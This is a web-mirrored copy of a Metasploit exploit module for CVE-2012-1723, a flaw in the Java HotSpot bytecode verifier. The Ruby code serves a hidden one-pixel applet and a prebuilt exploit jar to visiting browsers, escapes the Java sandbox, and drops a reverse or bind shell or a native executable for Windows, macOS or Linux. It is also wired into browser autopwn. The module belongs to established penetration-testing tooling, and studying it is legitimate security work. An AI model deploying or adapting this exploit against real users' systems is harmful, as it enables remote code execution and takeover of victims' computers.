Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_verifier_field_access.rb
29136 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
include Msf::Exploit::Remote::BrowserAutopwn
13
autopwn_info({ javascript: false })
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
20
'Description' => %q{
21
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
22
optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
23
type checks. This allows a way to escape the JRE sandbox, and load additional classes
24
in order to perform malicious operations.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Stefan Cornelius', # Discoverer
29
'mihi', # Vuln analysis
30
'littlelightlittlefire', # metasploit module
31
'juan vazquez', # merged code (overlapped)
32
'sinn3r' # merged code (overlapped)
33
],
34
'References' => [
35
['CVE', '2012-1723'],
36
['OSVDB', '82877'],
37
['BID', '52161'],
38
['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
39
['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
40
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
41
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
42
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
43
],
44
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
45
'Targets' => [
46
[
47
'Generic (Java Payload)',
48
{
49
'Platform' => ['java'],
50
'Arch' => ARCH_JAVA
51
}
52
],
53
[
54
'Windows x86 (Native Payload)',
55
{
56
'Platform' => 'win',
57
'Arch' => ARCH_X86
58
}
59
],
60
[
61
'Mac OS X PPC (Native Payload)',
62
{
63
'Platform' => 'osx',
64
'Arch' => ARCH_PPC
65
}
66
],
67
[
68
'Mac OS X x86 (Native Payload)',
69
{
70
'Platform' => 'osx',
71
'Arch' => ARCH_X86
72
}
73
],
74
[
75
'Linux x86 (Native Payload)',
76
{
77
'Platform' => 'linux',
78
'Arch' => ARCH_X86
79
}
80
],
81
],
82
'DefaultTarget' => 0,
83
'DisclosureDate' => '2012-06-06',
84
'Notes' => {
85
'Reliability' => UNKNOWN_RELIABILITY,
86
'Stability' => UNKNOWN_STABILITY,
87
'SideEffects' => UNKNOWN_SIDE_EFFECTS
88
}
89
)
90
)
91
end
92
93
def exploit
94
# load the static jar file
95
path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-1723.jar')
96
fd = File.open(path, 'rb')
97
@jar_data = fd.read(fd.stat.size)
98
fd.close
99
100
super
101
end
102
103
def on_request_uri(cli, request)
104
data = ''
105
host = ''
106
port = ''
107
108
if !request.uri.match(/\.jar$/i)
109
if !request.uri.match(%r{/$})
110
send_redirect(cli, get_resource + '/', '')
111
return
112
end
113
114
print_status("Sending #{name}")
115
116
payload = regenerate_payload(cli)
117
if !payload
118
print_error('Failed to generate the payload.')
119
return
120
end
121
122
if target.name == 'Generic (Java Payload)'
123
if datastore['LHOST']
124
jar = payload.encoded
125
host = datastore['LHOST']
126
port = datastore['LPORT']
127
vprint_status('Sending java reverse shell')
128
else
129
port = datastore['LPORT']
130
host = cli.peerhost
131
vprint_status('Java bind shell')
132
end
133
if jar
134
print_status("Generated jar to drop (#{jar.length} bytes).")
135
jar = Rex::Text.to_hex(jar, '')
136
else
137
print_error('Failed to generate the executable.')
138
return
139
end
140
else
141
142
# NOTE: The EXE mixin automagically handles detection of arch/platform
143
data = generate_payload_exe
144
145
print_status("Generated executable to drop (#{data.length} bytes).")
146
data = Rex::Text.to_hex(data, '')
147
148
end
149
150
send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })
151
return
152
end
153
154
print_status('Sending jar')
155
send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })
156
157
handler(cli)
158
end
159
160
def generate_html(data, jar, host, _port)
161
jar_name = rand_text_alpha(rand(3..8)) + '.jar'
162
163
html = '<html><head></head>'
164
html += '<body>'
165
html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
166
html += "<param name=\"data\" value=\"#{data}\"/>" if data
167
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
168
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
169
html += '</applet></body></html>'
170
return html
171
end
172
173
def generate_jar
174
@jar_data
175
end
176
end
177
178